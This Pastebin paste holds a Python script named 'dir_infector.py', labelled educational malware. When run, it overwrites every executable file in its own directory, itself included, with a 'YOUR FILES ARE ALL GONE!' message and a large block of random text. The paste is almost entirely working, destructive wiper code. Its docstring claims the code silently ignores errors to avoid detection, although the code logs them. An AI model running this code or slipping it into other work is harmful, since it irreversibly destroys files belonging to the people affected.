Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # Filename: dir_infector.py
- # Version: 1.0.2
- # Author: Jeoi Reqi
- """
- Description:
- - The "FileInfector" class represents a hypothetical malware utility.
- - It's designed for educational purposes to demonstrate how code injection works in files within a single directory.
- - Files within the specified directory get "infected" with a randomly generated malicious payload.
- **
- WARNING:
- ! THIS SCRIPT WILL OVERWRITE ALL FILES IN THE SPECIFIED DIRECTORY WITH THE MALICIOUS PAYLOAD!
- ! ADDITIONALLY, THE PAYLOAD WILL INJECT INTO THIS SCRIPT, OVERWRITING ITS CONTENTS!
- ! RUNNING THIS SCRIPT WITHOUT PROPER PRECAUTIONS CAN LEAD TO IRREVERSIBLE DATA LOSS, INCLUDING THE SCRIPT ITSELF!
- ! ALWAYS KEEP A BACKUP AND RUN THIS SCRIPT ONLY IN A SAFE ENVIRONMENT WHERE NO IMPORTANT FILES ARE PRESENT!
- ! EXERCISE EXTREME CAUTION!
- **
- This example malware consists of the following components:
- 1. FileInfector Class:
- - This class serves as the core of the malware.
- - It includes methods for infecting or "vaccinating" files in a single directory.
- - The randomly generated payload is combined with a predefined malicious message.
- 2. Attributes:
- - `name`: Represents the name of the vaccination utility.
- 3. Methods:
- - `__init__(self, name)`:
- Initializes a new instance of the FileInfector class with a provided name.
- - `name.setter`:
- Sets the name of the utility.
- - `malicious_code`:
- Generates a random malicious payload.
- - `infect_files_in_directory(directory)`:
- Infects files in the specified directory.
- Real Results of the Functions:
- - Upon execution, the malware generates a malicious payload.
- - It traverses through all files in the specified directory.
- - For each file found, the malware attempts to inject the payload.
- - If successful, the file is considered "infected," and the count increments.
- - The malware operates silently, ignoring errors to avoid detection.
- - While the primary purpose is educational, showing code injection and its potential consequences, it can cause irreversible damage to files.
- - Exercise extreme caution when using this script.
- """
- import logging
- import os
- import random
- import string
- from textwrap import dedent, wrap
- import sys
- class FileInfector:
- """ This class represents the code injecting malware. """
- def __init__(self, name):
- self._name = name
- @property
- def name(self):
- """ Name of the malware. """
- return self._name
- @name.setter
- def name(self, new_name):
- self._name = new_name
- @property
- def malicious_code(self):
- """ Malicious code generation (hypothetical for educational purposes). """
- random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=111020))
- wrapped_string = '\n'.join(wrap(random_string, width=70))
- return dedent(
- f"""
- MALWARE INJECTION PASSED!
- YOUR FILES ARE ALL GONE!
- {wrapped_string}
- """
- )
- def infect_files_in_directory(self, directory):
- """ Perform file infection on all files in the given directory. """
- num_infected_files = 0
- for file_name in os.listdir(directory):
- file_path = os.path.join(directory, file_name)
- if os.path.isfile(file_path) and os.access(file_path, os.X_OK):
- try:
- with open(file_path, 'w', encoding='utf-8') as infected_file:
- infected_file.write(self.malicious_code)
- num_infected_files += 1
- except (IOError, OSError) as e:
- logging.error(f"Failed to write to {file_path}: {e}")
- return num_infected_files
- if __name__ == '__main__':
- # Configure logging
- logging.basicConfig(level=logging.INFO)
- # Create an instance of the FileInfector class
- code_injector = FileInfector('SimpleFileInfector')
- # Get the directory path of the current script
- path = os.path.dirname(os.path.abspath(__file__))
- # Infect files in the directory
- number_infected_files = code_injector.infect_files_in_directory(path)
- # Log the number of infected files
- logging.info(f'Number of infected files: {number_infected_files}')
- # Exit the script after completion
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement